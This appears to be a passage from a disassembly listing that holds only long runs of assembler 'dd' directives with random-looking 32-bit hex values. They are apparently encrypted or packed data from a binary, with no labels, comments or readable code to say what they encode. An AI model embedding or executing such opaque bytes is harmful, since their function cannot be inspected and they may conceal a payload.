		dd 0D82F3E9Fh, 0E16857C0h, 667F1454h, 1909C1F2h, 0FF5A88E9h
		dd 0DEB5B134h, 4E5B58F4h, 17A566B2h, 0B6FA5792h, 75547931h
		dd 633F68FFh, 5B169F71h, 0F251D20Bh, 288517F7h,	0C62CBFC8h
		dd 0DAB00E50h, 0C64CF030h, 6FE9FE08h, 0E4F153A0h, 0A9E94BCBh
		dd 9C305043h, 4E2A450Fh, 0EFB38550h, 4C8B9C8h, 292B154Dh
		dd 78A8AAF7h, 0A547F187h, 0E1988288h, 93C668E0h, 0DF666BB5h
		dd 72763882h, 323A7084h, 0F49659EFh, 8CE7AEF8h,	53039DE6h
		dd 5DE20BF6h, 0E07F38E1h, 3963CA28h, 6893CF28h,	0E92A4220h
		dd 0DAB3566Bh, 0BC4B15F1h, 6599AE1Dh, 8AE67D49h, 0C8BE0F13h
		dd 436009BAh, 0BB809BD9h, 7B390815h, 0F8CB0581h, 0FA375458h
		dd 4DF3A3D0h, 22A82D72h, 0FC3C388Fh, 0ED6A2F70h, 0BC132AF6h
		dd 0B96FA0E1h, 1A4E4F4h, 581D433Dh, 0B6BA07E4h,	0BF80790Ah
		dd 4E8AF54Ah, 898DE0CBh, 36BCFE5Ah, 0C46BE2A5h,	0B9124987h
		dd 32551207h, 13DE2CD0h, 10C17E7h, 0EA3313C8h, 4D8054Bh
		dd 0EDAF0701h, 5466E28Bh, 55DB251Eh, 0A494D0CEh, 0B4E9E806h
		dd 0B95E3840h, 0B84FA9BDh, 69A84B12h, 5C00FA92h, 6A778225h
		dd 494DB07h, 1F0FB605h,	0DA827AFEh, 934DE648h, 0BD5500CFh
		dd 69CA4D16h, 9FBDB09Dh, 0E4AB994Ah, 0AC83A096h, 0EDA5559Dh
		dd 0B867D847h, 8222500h, 3E7352Bh, 2D4A00D2h, 1137BDAAh
		dd 0E92DC731h, 6611C029h, 5F839759h, 0A038B52h,	0BB022444h
		dd 4E1F50Ch, 6C1821DFh,	0A956E909h, 7E79751Fh, 5916D468h
		dd 7EDB9F21h, 279E0D78h, 5A9FF776h, 0E68E928Bh,	0F58D20B8h
		dd 7A6450B5h, 1BE5B5F0h, 17629708h, 0E28804F6h,	29FB12E1h
		dd 714324ABh, 73D497AAh, 0D260C889h, 45BB0CCCh,	3F0C0E53h
		dd 0E1708812h, 38AE0AC5h, 7FE9348Fh, 6C5429CEh,	0C3D69F35h
		dd 2B9A6804h, 0F1C8FB3h, 30FF2542h, 9D8029A9h, 0FB528BF4h
		dd 0C35716E9h, 7DD2680Fh, 5679FE46h, 0A03AB109h, 8359776Dh
		dd 41BAF660h, 4757CC5h,	9A84F9C6h, 4AA9AEE7h, 537E909h
		dd 0EB6B1FF2h, 0D6ABC006h, 47F2B456h, 306D41BDh, 5C532055h
		dd 502B2D2Fh, 36F10B0Fh, 96D749ABh, 648C2C05h, 0E0D38F18h
		dd 94A8270Bh, 0FC2B16F4h, 0E957A332h, 5574F3C9h, 0D3A6EED5h
		dd 3A99EE87h, 16C9B22Bh, 0E0334EC7h, 80E4C95Eh,	0D7DEC879h
		dd 87C54340h, 2E9E55EBh, 795BE0B5h, 2FFEBDBAh, 0C4617170h
		dd 0EFC7880Ah, 77592587h, 5969F4D1h, 71CB4E3Ah,	0B542E4DFh
		dd 0FA9F27DAh, 0E9B3C2D6h, 0E77449B9h, 82366950h, 10C6B300h
		dd 0F54B707Dh, 0B06AD5B1h, 25F3A1AEh, 4ED57E1Eh, 74916992h
		dd 9CD72DF7h, 6AC279Fh,	65EF8856h, 0CB903003h, 0BFEF9EAh
		dd 0F65266C2h, 9D28FBD6h, 22549430h, 4C3889BFh,	0BD39BCF5h
		dd 78E63A02h, 0FEFEF7E9h, 6045F39Ch, 0EFE86315h, 4B8B3A10h
		dd 7569E9E1h, 0AFA90635h, 36877D44h, 5BC3AC52h,	5730492Dh
		dd 1658925Bh, 0A34F8568h, 487B0962h, 14BE5C96h,	5020AD52h
		dd 9E045095h, 39E8729Eh, 1371BE56h, 8D81C2B8h, 0B2BD032h
		dd 0EB4B19F0h, 5A312F8Ah, 12E2C8Eh, 902BF587h, 69534BF9h
		dd 0D10C2760h, 959EDE03h, 2B12492Ch, 0C845793Ch, 2DDF1370h
		dd 0CC568033h, 39BE2188h, 68B1DADh, 5082EEC1h, 720A7924h
		dd 26C2F63Fh, 7E952C59h, 3A575A96h, 76D0C0FCh, 6058095Fh
		dd 75E7C1h, 0C7713F96h,	0E94F096Ch, 0FEF6CADEh,	0BC3C1560h
		dd 61B4B8FAh, 0EB801A73h, 7DF3CC37h, 4000C3ECh,	525BDD88h
		dd 900495B6h, 78F0582Ch, 0B331F320h, 28BF2EA1h,	0C4FBA63Bh
		dd 651298CDh, 7388AEA9h, 0EA294B77h, 0C1871837h, 84D14DC5h
		dd 0DF44C301h, 0EF67A4FBh, 8C187248h, 0B84E270Ch, 68364004h
		dd 0C640E62Fh, 17CE00BCh, 0A2BE5F35h, 1350965Bh, 0E91003BBh
		dd 0E05ACC8Fh, 12836545h, 0C83FD60Ch, 50E66EDh,	0A5571B6Bh
		dd 80BF95BFh, 4A56EF0Dh, 0B6AE92Fh, 0EB2956D6h,	372B807Dh
		dd 45011BB6h, 591193CBh, 0AF3F75FEh, 6A5B2591h,	0C6EE8001h
		dd 0F079E057h, 0A35AE804h, 5198C8B4h, 0C0B400B5h, 0E58602EDh
		dd 8C3DCF6h, 0E773F580h, 0E96F0697h, 1082DDD5h,	0D9574204h
		dd 0FB59A7D2h, 1AAB78Eh, 0A32C5BF8h, 1652D8C0h,	0CE9B151h
		dd 0EACD5561h, 3EA8749Fh, 69781C27h, 654C5997h,	239B52Ch
		dd 0B1E8DEE2h, 0A52FCAF6h, 3FFBF2CBh, 5A8619C2h, 5EDA2923h
		dd 15B0880h, 2A40449Dh,	0B1D02A41h, 0D4044B95h,	0EB17D4B6h
		dd 0E6F51CF8h, 0FB451643h, 9231EDC8h, 28362050h, 0A8C128A0h
		dd 0FB1AE6BFh, 8A74123Eh, 2F615EF3h, 0A224831Ch, 288628F7h
		dd 0EA9DA3A7h, 38E8DD8Bh, 0F197056Ch, 685FE0ECh, 39974FD6h
		dd 0A27CBF27h, 0AF7161CBh, 0C327DA8Ah, 57C546Bh, 8242D2F7h
		dd 0CFC19F0Eh, 0A4162F95h, 43695EAh, 910B732h, 86E8FD5Ch
		dd 0C79F3392h, 49688167h, 6005CB53h, 81EDC715h,	7FC0E12Bh
		dd 0E6EC30E2h, 1CD5979Fh, 530880D4h, 6BD49D5Ah,	0F581DD52h
		dd 25590F2Bh, 0B9E06ACDh, 2DCD1217h, 194BAA70h,	0FAC1EBD3h
		dd 8C0A79F0h, 0F3955ECEh, 0F42C3809h, 26D5F90Ah, 5C6110B8h
		dd 829E4D5Eh, 525BD829h, 438B2067h, 68515C04h, 65CC47BFh
		dd 8CB22C52h, 98682D3Ch, 5728B0C6h, 28278BCEh, 952A7924h
		dd 662FE7AEh, 0A16065D8h, 752C235h, 0B89C4AC8h,	0F9011224h
		dd 4F4530Eh, 56EB26BBh,	675BB1Ch, 54C38921h, 0CDDE5769h
		dd 3016C59Fh, 6F27A9DFh, 25AD72B6h, 0EED859CEh,	58346815h
		dd 5D458FCCh, 0DF091A05h, 0EF5670BFh, 0A3B0D36h, 0C2F71647h
		dd 3752F0Bh, 23B1025h, 299AEACDh, 7F76423h, 0DED9C07Eh
		dd 17515299h, 0A3BB5C12h, 61B21340h, 0D0C5E522h, 7BA4B5FBh
		dd 58458B5Bh, 0D1F616D2h, 0C4381DAFh, 0B14EE9F7h, 159D3EE3h
		dd 682CC8C2h, 89B951Ch,	7A1799E9h, 0AE9732A2h, 4A872228h
		dd 0FE99AA34h, 5BA6C160h, 849BAD30h, 0B901C096h, 427C4E46h
		dd 8061CD8Bh, 0B15403C2h, 43482A86h, 122E91A9h,	394801E6h
		dd 201E187Eh, 0DD33D61h, 50FC0DA1h, 0E8C84A68h,	208A4802h
		dd 0BC6FFBC3h, 58C50D7Ah
		dd 0B8E99C5Ah, 0EB051C96h, 1465F485h, 6CC5B402h, 0AD80F541h
		dd 617AC8A6h, 9AF9054Fh, 3E20F458h, 401EC2BFh, 817C6A61h
		dd 25F320ADh, 2C43679Fh, 0ABE012DEh, 446214CAh,	7709D04Eh
		dd 0BE56586Ah, 22CCA500h, 4F4FE9CBh, 8C5D8D3Dh,	14130D36h
		dd 0C8015FBFh, 9C69677Eh, 0B27EF04Ch, 9559F09Bh, 0ACBD7954h
		dd 66871C83h, 2282EF89h, 0D76CDDBAh, 24F4FE97h,	7CE95858h
		dd 522839B6h, 18E1CF5Ah, 0F729AF2Bh, 10198B2Ah,	5F2E6BA3h
		dd 68D5CC78h, 0CFE9224Eh, 95F51425h, 0AFE013A3h, 2D2DB2F1h
		dd 0AF1D1B84h, 155F0541h, 0F03F1448h, 743803E5h, 88BFCB62h
		dd 5B1237C1h, 19F850AEh, 0AE9F5317h, 2F30B599h,	1F7C9DCDh
		dd 0AA53CE58h, 886541A6h, 4A017B86h, 0D5F74530h, 0CE87A6Dh
		dd 0E9C370E7h, 39D24A84h, 0A6DF784Fh, 1E0C1D36h, 25297886h
		dd 5B44ADFCh, 0A95075BFh, 8B692581h, 0B910FFF5h, 0FE2FAF3Ch
		dd 9DFBD827h, 5660C576h, 0B5464AE9h, 0B804DD9Ch, 0D586950h
		dd 2DBA00ABh, 1E983CCAh, 670BA7EAh, 5D099379h, 0C41AF602h
		dd 2EB85A04h, 5172B09h,	6FB8C57h, 2DE91702h, 6FD49D43h
		dd 0E2683C30h, 98CC9579h, 25B85000h, 51A9865h, 0B3570019h
		dd 0BC3A2D64h, 0C6A07F4Bh, 152D20F9h, 0A0D57676h, 0E957C208h
		dd 2D0009EDh, 7AFD23E2h, 2B32327Eh, 17595EB1h, 0F70900ACh
		dd 3CE3D955h, 2CEC201Bh, 0AC28C07h, 3DB22E31h, 0B014D5C9h
		dd 916769Fh, 6D7E8C62h,	0D48ADE8Bh, 0EAC94FF4h,	4282875Ch
		dd 0A05FD568h, 8CF8194h, 4BAD3118h, 0DEE90712h,	8971464Ah
		dd 2DFE2988h, 932A296h,	0F7BB1D87h, 0D2DC8EABh,	0E6CC72AFh
		dd 0E9E3C346h, 3018C703h, 201C8143h, 34EA7C75h,	84C1354Ch
		dd 4705C0F7h, 677EAD06h, 5E80914Ah, 0F0CF8858h,	0B935F5E4h
		dd 0EECCD12Eh, 67A87FB2h, 5B692E4h, 0EBC371DDh,	6443E157h
		dd 297FBA4h, 6D3722CBh,	0A11B9D68h, 2A0A1F4Fh, 0C3408EFh
		dd 3A061416h, 0F841C2DEh, 0A50A1053h, 30220455h, 0B8A96BF9h
		dd 24680840h, 0C88029A9h, 0B6492D1Bh, 0E227DA85h, 0DBD73E74h
		dd 0C9D0FCF9h, 2D404757h, 324AF976h, 5FC4E225h,	0A9CF145Ch
		dd 0D7844205h, 6813F5EEh, 8F355BA8h, 0FE4A53B9h, 0E897B2CEh
		dd 6F8B430h, 0F224DC4h,	376EE2Dh, 8007251Bh, 0B1573B39h
		dd 8FE98534h, 0C6BDBC53h, 5A102223h, 0F2D1E009h, 0BD49E540h
		dd 0C3563840h, 45B46B4Eh, 21D0F705h, 44392F28h,	625E8EDDh
		dd 57AE567Dh, 7E72DE41h, 407507FDh, 0B91E519Ah,	75561326h
		dd 0F2CB09AAh, 8957D709h, 34D4807Dh, 2484A43h, 3CD63540h
		dd 97F65B3h, 6153C2C3h,	0BD2A48Ah, 5E246A04h, 0F66795C9h
		dd 68554079h, 48E86E51h, 2C947B7h, 40CE6370h, 50D72942h
		dd 82789FA9h, 0C394A24h, 0E65AD18Bh, 0B0F59D64h, 0BA2188F6h
		dd 79625C3h, 5D72BEF9h,	0E91C891Eh, 0D7272949h,	2BC53430h
		dd 4C2EDB13h, 0F66BFEB8h, 0E9BBA155h, 0ADA03FB1h, 1296FD92h
		dd 0C484A8BAh, 87069F9Bh, 6FE68AEFh, 667C7109h,	0C08B7E57h
		dd 0E5814D5Fh, 1F390D17h, 570A7DA8h, 0DE96C48h,	0D9B55D6Bh
		dd 6B7F25DDh, 0A4D7F5BDh, 6955548h, 9525814h, 2DB55D75h
		dd 725722DDh, 0C7E55E4h, 520E588h, 0BF6EC380h, 8470160Fh
		dd 0F857AD5Ah, 55CD34F0h, 4CF08EBFh, 9DC449Eh, 9F2F8198h
		dd 31B9D20Ch, 0C263CFBAh, 7EFD20A3h, 49B56880h,	0C016205Ah
		dd 9001D0F8h, 37BDE3Dh,	0C5C2E64Eh, 19D0752Dh, 0CBD810A2h
		dd 0B99C687Dh, 0AB6D2D3Dh, 0B9AD020h, 5E218C6Ah, 2D076C88h
		dd 0F07E8650h, 2D5B1D02h, 5D3952BDh, 61708E87h,	82E8D13Bh
		dd 0B72C46DEh, 3E077FA5h, 0BB316468h, 7FF39330h, 0A68CC54Dh
		dd 0CA6E88B8h, 37966C12h, 0E9092EA2h, 8B1A0187h, 0B1A517FFh
		dd 75206808h, 71C13186h, 0B2BC3E55h, 99E2EAE4h,	89BDA8C5h
		dd 8EE96B66h, 0CA5BD816h, 7C18698Fh, 357A0583h,	5FA4039h
		dd 2B654164h, 9BBE5602h, 756DFF32h, 0E90696F9h,	76668293h
		dd 1B5E57h, 5141B547h, 0C0182EB1h, 20607E1h, 80F17C80h
		dd 0CE4C883Eh, 3D4D3040h, 4E230DBFh, 342A879h, 40014E33h
		dd 0F7878947h, 8843C31h, 0BE8AE2E9h, 4DDFBC3Ch,	0E28BF05Eh
		dd 0BAC24782h, 20856655h, 0F716A6B4h, 3AE852D6h, 0BA0C81ADh
		dd 8F19750Ah, 0BF318C60h, 5826A8E5h, 7082D45Bh,	7C675558h
		dd 0AD24DEA5h, 0AB6EF8F4h, 0F2B84DCh, 4E046EB4h, 0E74143FEh
		dd 46F26789h, 6C843840h, 313A6416h, 0FD57AF1Fh,	5F082E0Ch
		dd 4A19EEE6h, 5577D006h, 2C2C27BDh, 0F50060E3h,	43790583h
		dd 60A7B045h, 0FB7642Eh, 74C7EFC0h, 12C580C7h, 0F0C0DEA1h
		dd 5A13392Ch, 0AE1AAAFh, 0EF117A6Fh, 48D81177h,	0E9772C5Fh
		dd 62C0C85Eh, 0FAFDF05h, 0C5891A41h, 0BF5B1484h, 456AFD61h
		dd 0A8261116h, 0F1D2F01Eh, 0FB744BA8h, 0CC8CDFC2h, 0A53A4DB6h
		dd 5F34FB5Bh, 9D008B12h, 0C146030Ah, 2085CEBh, 3B489F02h
		dd 45DD317Dh, 2BCACCEh,	302336EDh, 43ECA75h, 0E885F08h
		dd 22F42968h, 0BB101768h, 8B892337h, 0F47C656h,	73442EACh
		dd 0B81203A4h, 0E043DE99h, 53F797Ah, 0B3C8C7B2h, 851181CAh
		dd 6CCF96CFh, 0D6826A21h, 9A5F149Dh, 0F040855Ch, 3E28B08Ah
		dd 5076EE30h, 0B3AD634Eh, 404E52Ch, 0FFFAE9AEh,	0CAAF9413h
		dd 8D8D5B33h, 0B3F25341h, 6F5267Bh, 8A3FB9Dh, 68041A6Ch
		dd 0D8BE6067h, 0C41AF2Ch, 9BCFE06Ah, 28BC71F8h,	268C6887h
		dd 0A359F509h, 6A6E68C2h, 0CF765D8Eh, 6AD812E2h, 31FEA3CEh
		dd 14CA93D1h, 8D2F708h,	0F355239Ah, 8CE98B61h, 0C4E6AE49h
		dd 41507C7Dh, 0B1226F3h, 90ACCDD6h, 89B7054Fh, 0E79581CFh
		dd 0EC272A48h, 927F082h, 4743C680h, 0C11F1A0Ch,	528804EDh
		dd 51AD013Eh, 484E8868h, 2F17CF67h, 0EF02340Ah,	0E0F95044h
		dd 78F6E30Ch, 9F40B727h, 40B51B6Eh, 1DACF295h, 9F7F7A12h
		dd 9FF7C0EAh, 0E9D32919h, 0E8B515E6h, 82218D37h, 465057C2h
		dd 2EE1169Dh, 0BBA032ACh, 66EA2A2Fh, 68FE487Fh,	0B8074DBFh
		dd 0B5A20DD6h, 36668928h, 207CE672h, 0A2B0ECF7h, 8E094A98h
		dd 30BDC6Fh, 0F9BD46B3h, 0A2E893Bh, 0A4993921h,	36E2674h
		dd 0C2217D3Ch, 64AB71E9h, 141EB36Bh, 893DE28h, 7AC10C3h
		dd 0CBFE2416h, 0F8A1C551h, 0CD31130Bh, 0E8101EF2h, 0C41A4F28h
		dd 49E80006h, 0F23AAC18h, 8BF55B21h, 83861194h,	74DFF201h
		dd 6A211140h, 5C1879F8h, 5FF957AFh, 4FDD53B5h, 0C9280F28h
		dd 141E7724h, 0C57CAC2h, 889DF2A6h, 0BB0BC50Eh,	892A5927h
		dd 9FD4519Bh, 8B45FD60h, 4E98B815h, 0CF0FF9E5h,	0A3E49FDDh
		dd 0D29703A7h, 552616CBh, 9400AF53h, 875B54DAh,	3AA2B4FBh
		dd 1344324h, 1DC24F45h,	8171F5E9h, 13CBF3FFh, 0EB2B33D5h
		dd 1FEBC703h, 4B06813Dh, 2D93F8DFh, 446060DBh, 592FBFC3h
		dd 0C21A0C60h, 0C1552A6Eh, 372EB434h, 87023F43h, 0E058C121h
		dd 2D6EAD05h, 21F84169h, 20A90D9h, 96E83Bh, 61280B78h
		dd 5F8DE955h, 0A5B0E82Ah, 9B3F9E82h, 8C4C091h, 0B85E7160h
		dd 1869826h, 12C96BAAh,	2A3967E9h, 6017CEB6h, 886CC6Ch
		dd 0B75A9B40h, 973D92F9h, 91C883D4h, 4ED64E29h,	97772704h
		dd 359D724Fh, 3657ADAh,	0EE90806h, 814F642Eh, 0E876C50Dh
		dd 835E603Ch, 5C334A12h, 486BC2F0h, 0F0254B19h,	74AFD4E5h
		dd 22F5245Eh, 47938185h, 42340FE1h, 95D7955Eh, 4B8E26FBh
		dd 8DE79055h, 9EF1311h
		dd 0E9A49829h, 9AB2B84Eh, 1B4B7100h, 0E1685F2Dh, 0D2D50C4Ch
		dd 4FA64D02h, 0B6C541B3h, 0CAE7A157h, 0A85F1672h, 0AD39E8B9h
		dd 63E5764Ah, 0FAECC9ECh, 0FE9ED87h, 1205E30Fh,	6B2DD82Eh
		dd 9F489F1Bh, 9897D143h, 0BD0CDE03h, 3B798218h,	0CBC5082h
		dd 7729506Eh, 0E0E8C20Ch, 0E7A9405Ah, 0CA00841h, 2A586014h
		dd 192BFDCAh, 261A6812h, 16F40B35h, 163A6153h, 20FEF386h
		dd 924441AFh, 8D54B7BDh, 77EB3109h, 0D50835DBh,	85EC27F2h
		dd 5DFB0127h, 0D84AE8C6h, 0C2AC30BAh, 0D19F2A88h, 0FB5B12B2h
		dd 0FAC9A7A7h, 5F3E4A57h, 3DF65670h, 0DAFB824Ah, 0DEA34E79h
		dd 5E54560Ah, 0FD0817E6h, 9AE1309Dh, 4C313BC8h,	5E058C64h
		dd 8061787Ah, 49419240h, 0ABE9050Ch, 4E95320Dh,	6A06B150h
		dd 18D55DC0h, 14104D6Fh, 0A70E1D75h, 54E9CB3Ah,	5659D8E0h
		dd 2F68F8BFh, 0C27C71F7h, 1449DD70h, 9C513F2Eh,	5416EE18h
		dd 4607280Dh, 362D091Ah, 0D7D03032h, 0CE31BB60h, 0E918597Eh
		dd 5466BC4h, 94201E7Ah,	3E788B7Fh, 0F4A82D5Ah, 7B9D3DF4h
		dd 5EDEBE8Ah, 7CC7C96Eh, 72E3467Ch, 75C04C19h, 0B72BBF40h
		dd 4CF9A27h, 1361EFEFh,	49114B1Fh, 56B70034h, 0B1510466h
		dd 0EECF2801h, 39B1DFACh, 39FE2A5Dh, 17A23F88h,	12C98B40h
		dd 0C5246528h, 0FE180E16h, 0E912D854h, 0B61537Fh, 1D7437BCh
		dd 0CB955F25h, 2348378Ch, 0F0DB09EFh, 90E9257h,	0C00503E5h
		dd 7F45EA94h, 1F0F303Bh, 0FCCA2BE2h, 970EFE0Bh,	84578B2Ah
		dd 0A4CD9042h, 7D64B5E1h, 16559501h, 9A42F780h,	958F70C9h
		dd 968296FDh, 0B3B18BA3h, 9B162FD1h, 162A608h, 0DF184EB9h
		dd 3E5BFD5Ah, 4FEBEC40h, 0C019301Ch, 991076C8h,	0D230F73Eh
		dd 48EDC24Ah, 0C7F603Ah, 7EBE1E1Fh, 3934CEC0h, 27E90109h
		dd 4C5467BFh, 92F093E9h, 3B0A2B6Bh, 3419160Ch, 701304ECh
		dd 9A8EAAEBh, 3E3E85Eh,	4F2B58F7h, 0ABECE4E9h, 5660B678h
		dd 331CF291h, 0A9D0BD60h, 0FA6BA925h, 0DF47E024h, 2610433Dh
		dd 7DDA2AD2h, 0D952FEE9h, 6A502561h, 5B8B6DA7h,	0A682EB74h
		dd 720CA05Eh, 95EA9052h, 22B4317Dh, 3498C52Ah, 179CEBCFh
		dd 957A92EEh, 5C462E60h, 123F3CB7h, 0A60DE568h,	4980847Ch
		dd 3DEE0B1Dh, 0F63E9070h, 0D569A5B1h, 0EFF6E3CEh, 0AFCC314Ah
		dd 0B3664E2Ch, 32A25861h, 69BF2D32h, 0B0EF575Dh, 0A3746C73h
		dd 8097F61Ch, 274369E3h, 29D75BEAh, 0C661F561h,	6F3F4CD8h
		dd 0AC4AB8B2h, 0BF9784E9h, 0A8D04D1Eh, 41011E54h, 5FCF417Eh
		dd 0EACD8191h, 6C7978D7h, 699EED40h, 0A94E4AEBh, 7D0479BFh
		dd 29593341h, 0BEAEE905h, 3F777343h, 48539A79h,	14783988h
		dd 0A3D38965h, 45763820h, 0C50A8E5Ah, 5A055C68h, 7D05D301h
		dd 0CAEE61DDh, 32D31722h, 69F58BFAh, 27F27E87h,	892F9A97h
		dd 1FA852EEh, 574ECE81h, 145ACCDh, 6C3C4447h, 0C3F45E9h
		dd 0DDD25FF1h, 23B70314h, 3D47B92h, 272D06EEh, 0CB0761Ch
		dd 343F5C26h, 0E9126B0Ch, 8BFAD0Ch, 0F6A5B010h,	0B29347F4h
		dd 597E8563h, 0A1BBB8B4h, 5AB020DCh, 88FD7C95h,	4D24420Ch
		dd 0AC2C6105h, 3F0F1DFEh, 0A8EC2E15h, 0DE658513h, 5455127Dh
		dd 0FF325D0Bh, 57F6B54Ch, 5FE8BE5Dh, 8912A8B9h,	500E09F3h
		dd 7762E354h, 6292F41Eh, 18D7783Ch, 8223A8C4h, 57A55D80h
		dd 0CEF60F95h, 0DD970A70h, 0A3FDC23Ah, 12A4CD4Eh, 0E31EC5C7h
		dd 60C4DA4Dh, 81173893h, 2D74295Bh, 2DB5C752h, 0C4A6FBE5h
		dd 85626514h, 88BB32C4h, 4B44EE07h, 1A49E0Ch, 42267520h
		dd 0E1A6305Fh, 0BB002C9Ch, 28A97A82h, 0DCE30081h, 0E968E832h
		dd 20D7A285h, 49A491EEh, 7FC00415h, 7B83EDA5h, 0EBC05DA6h
		dd 24C48B4Eh, 785A755Eh, 634FD5h, 7DA305B6h, 2D5E0285h
		dd 0AC4EDCBDh, 8F18160Dh, 0A7844DB2h, 0C68716D7h, 34117039h
		dd 0C2A6335Fh, 50F25331h, 133BDE97h, 8C00929h, 1741DB0Bh
		dd 0B84C405h, 0D99F01E4h, 27076B0Fh, 66FA39B8h,	7C3D6720h
		dd 0C3E320ADh, 0ED814D0Eh, 729B2443h, 31924380h, 0AD184F0Ah
		dd 3A6E10BFh, 270EA84Bh, 30D4705Eh, 0EAD9E364h,	932F774Eh
		dd 0A065DE50h, 0F95E5208h, 0ECCAE9C5h, 0C7E25E29h, 0E9565381h
		dd 29D6C82h, 5A39B8B9h,	0B5D07842h, 2F1DDFD8h, 0F78167ECh
		dd 0AA4668BAh, 127FD620h, 0F048BE4Dh, 8A1E924h,	7C3B365Fh
		dd 1D34504Dh, 0B084C9FEh, 0AB8580F8h, 0F11CE616h, 247992FBh
		dd 0E2827F4Bh, 777B779Dh, 4FF5E992h, 5BCB0CA5h,	2DEF98D9h
		dd 0DECA030Eh, 0E16ABC25h, 188B9EA0h, 6A83E2C0h, 679FB3F2h
		dd 0D0C2624Eh, 6FF7CDD8h, 12E74CC5h, 4FCFE2D2h,	69498AAEh
		dd 0AF71D71Eh, 0CCCDE959h, 0C346443Bh, 0A4B1D5C0h, 6D1FE489h
		dd 6B93032Ah, 2D888FB0h, 85445AF4h, 0F69266B5h,	514B5D7Bh
		dd 0CD18B348h, 0A7C2CF6Bh, 51841912h, 76484305h, 8E68647h
		dd 8188B1A2h, 0D9F6D2C0h, 3010C840h, 505937CEh,	83E5F470h
		dd 0ED00527Ah, 44BC4213h, 703E1C1h, 2D41C981h, 3FC69AE7h
		dd 29CDC607h, 0A4043931h, 0A568023Ah, 0AE02491Fh, 5426F338h
		dd 4D954393h, 0F792120Eh, 0BF5760D2h, 4E206229h, 0EC6816D6h
		dd 0A8674B22h, 3B3640E6h, 0B799DD29h, 0C64F6B70h, 0D989A0D1h
		dd 9E667950h, 0C4E6965Fh, 53F3FE7Fh, 67886883h,	8D41B116h
		dd 0FC83E295h, 0D3691933h, 7A9D2379h, 0B2FF3BC4h, 75F38BE8h
		dd 81EF2E5h, 60C07E25h,	689AC680h, 0EF5DEF26h, 5344B060h
		dd 4594EB3h, 10B9FD91h,	681B04B4h, 99822039h, 325D503h
		dd 7679F838h, 0A530F9B8h, 68E0BB2Ch, 3B1D5862h,	77B6EAF4h
		dd 16B285Ah, 0E92F8998h, 419EF72Ah, 505478FEh, 655AAF9Fh
		dd 3341AB8Fh, 5505817Eh, 80A4441Fh, 13024529h, 780F664Ah
		dd 76D72E97h, 29019E00h, 7DE9709Eh, 0D929517h, 6B507569h
		dd 2C4ED208h, 0B5417CDh, 6C515C3Ch, 0BC3506Ch, 3135B31Ah
		dd 26FE2EF0h, 0AFCD4382h, 72C0CCCh, 45A662Eh, 9D21B357h
		dd 2F99FA4Ch, 6F7BD609h, 7772151Dh, 25EC7D0h, 0E1D15D23h
		dd 45277AFEh, 744E8078h, 4CE97F88h, 0C9F1E454h,	0BD533813h
		dd 78F1B600h, 24400B0Ah, 0BA745EE9h, 9C7011Eh, 2523A5F7h
		dd 7C14BDFh, 898E2C1Ch,	5DE8F553h, 0C2047614h, 4A96E96Eh
		dd 0C446ECAAh, 0B5CD07D1h, 0A34BD238h, 663CC84Dh, 53986F61h
		dd 0AD5F6AEDh, 0D00EE75Ch, 645A8B2Ch, 30642D10h, 5E82F1D1h
		dd 7A3ED3E9h, 45E80FFBh, 0B064173Dh, 2DA3AF9Eh,	0E422B84Ah
		dd 69829584h, 0F0E00E55h, 0D55B3A05h, 115E472Fh, 0B82495CAh
		dd 7C681958h, 2EC9B556h, 0E920BD17h, 98E553CDh,	0DA3B2093h
		dd 9AFD39Fh, 1855B7FCh,	4A026841h, 740DA33Fh, 0D1A8C34Fh
		dd 307B844Eh, 0DEE951ABh, 88E67FEBh, 0D194FA4Ah, 0E520F9AFh
		dd 680B47FCh, 94762F5Bh, 0AC628652h, 0C8280E48h, 0B24BEE04h
		dd 7752AE5Eh, 6D6DFDDBh, 3E063A20h, 800EE3C0h, 0EB6926CBh
		dd 88C35383h, 57C2D882h, 0BD283A7Eh, 524CB22h, 467EA6EFh
		dd 2975AD78h, 78A9C4F0h, 0FC39BA01h, 0D0CAE92Dh, 0CE291FB0h
		dd 37780452h, 0E5D1C205h, 8225327Fh, 9141016h, 77E8A5A7h
		dd 5A1EB288h, 36C1C19Bh, 0ABAC7F9Ah, 881CB5D0h,	0EAF796E6h
		dd 0CCD30523h, 0B3D82109h, 5A09220h, 25B45066h,	13F90B28h
		dd 5725D656h, 774B3565h, 6CFD4E9Ch, 0A965897Bh,	13E57709h
		dd 59DF6D19h, 29123072h, 0C4AFE8BEh, 0EB13D7D5h, 9AF8C79Dh
		dd 455BB73Dh, 0ED01A820h
		dd 0E96F0142h, 3D730FE1h, 5E7D8242h, 5B24069h, 2957ED81h
		dd 4D48CB16h, 522D93A8h, 0A0B162C0h, 0C0968DA8h, 0F606E40Ch
		dd 398004DCh, 0EC99CCC4h, 0C15C06A3h, 0C8817EE1h, 61A51362h
		dd 810CD776h, 0E4CDD32Fh, 79B5F2EAh, 94F79735h,	327FB8E2h
		dd 0B210341Eh, 0B551C760h, 0EA281D1Dh, 0E7095997h, 0AE570003h
		dd 0E7A1F380h, 0D5DD8BF6h, 0E9A3878Eh, 605FB4CAh, 90FB52CCh
		dd 4B694A31h, 43D4E0ACh, 71081207h, 0D0EB46D5h,	0C7ECD05h
		dd 8E169728h, 9505520Fh, 5DC780B0h, 9F5F213Ch, 883855Ah
		dd 0E95B81E5h, 16162A67h, 0BB28FEBh, 0D9197F68h, 0EBC88CAh
		dd 1E249869h, 4AE39639h, 4875A72Dh, 78535857h, 0A6A47B54h
		dd 915DF2A5h, 2B60183Bh, 6F95525Ah, 427424C2h, 7B4554E7h
		dd 0C27C094Bh, 6546FF5Fh, 89280621h, 227B0E53h,	0BD275510h
		dd 76A781F6h, 0D602253Dh, 0C65FA570h, 0F8205F4Dh, 0A36809DAh
		dd 2D52C673h, 2D1845ADh, 0ED9C10E1h, 8C576843h,	2F8B31AAh
		dd 0D9F70111h, 130D9F20h, 0AF6E5C33h, 4169301h,	0BC2E2139h
		dd 2A490487h, 91BE313Dh, 0A7B6D148h, 1C1EFEE9h,	1ECFCF81h
		dd 1390A917h, 0CC83AE2h, 9597F257h, 0FD188F13h,	88240DCDh
		dd 0A18F90C3h, 0BF1E459h, 2668FA64h, 0C365608Eh, 794E626Bh
		dd 0AAFF91BEh, 0D9D3B0Dh, 4CBFC220h, 9800E99h, 575BE570h
		dd 0CF49684Fh, 7522575Fh, 0EC7709D0h, 217C21D9h, 0E2FCFCA5h
		dd 57091C8Ch, 0A9C7CEC0h, 257AC9F7h, 184B6992h,	748A6934h
		dd 0CFD1978Fh, 0CEBC5C92h, 49685502h, 8277A903h, 0CBC9CE34h
